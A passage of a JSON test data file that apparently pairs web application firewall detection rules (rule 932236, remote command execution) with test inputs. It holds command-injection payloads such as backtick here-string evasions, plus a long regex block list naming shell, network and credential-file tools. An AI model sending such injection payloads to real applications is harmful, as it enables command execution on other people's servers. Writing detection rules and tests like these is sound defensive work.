\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Block evasion using here string with single quotes" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;`cat<<<\"ifconfig\"`\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\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-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?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$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Block evasion using here string with double quotes" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;`cat<<<$(ifconfig)`\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "arg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a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\